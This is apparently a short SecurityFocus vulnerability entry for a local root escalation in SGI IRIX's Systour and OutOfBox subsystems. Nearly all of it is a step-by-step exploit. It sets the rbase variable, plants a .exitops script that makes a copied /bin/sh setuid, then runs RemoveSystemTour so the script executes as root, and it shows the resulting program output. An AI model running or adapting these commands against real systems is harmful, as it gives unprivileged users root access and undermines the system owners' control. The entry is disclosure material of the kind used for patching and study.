source: http://www.securityfocus.com/bid/470/info A vulnerability exists in both the Systour and OutOfBox susbsystems included with new installs of IRIX 5.x and 6.x from SGI. This vulnerability allows users on the system to run arbitrary commands as root. $ rbase=$HOME; export rbase $ mkdir -p $HOME/var/inst $ echo "dryrun: true" > $HOME/.swmgrrc $ cp -p /bin/sh /tmp/foobar $ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops $ chmod a+x $HOME/var/inst/.exitops $ /usr/lib/tour/bin/RemoveSystemTour Executing outstanding exit-commands from previous session .. Successfully completed exit-commands from previous session. Reading installation history Checking dependencies ERROR : Software Manager: automatic installation failed: New target (nothing installed) and no distribution.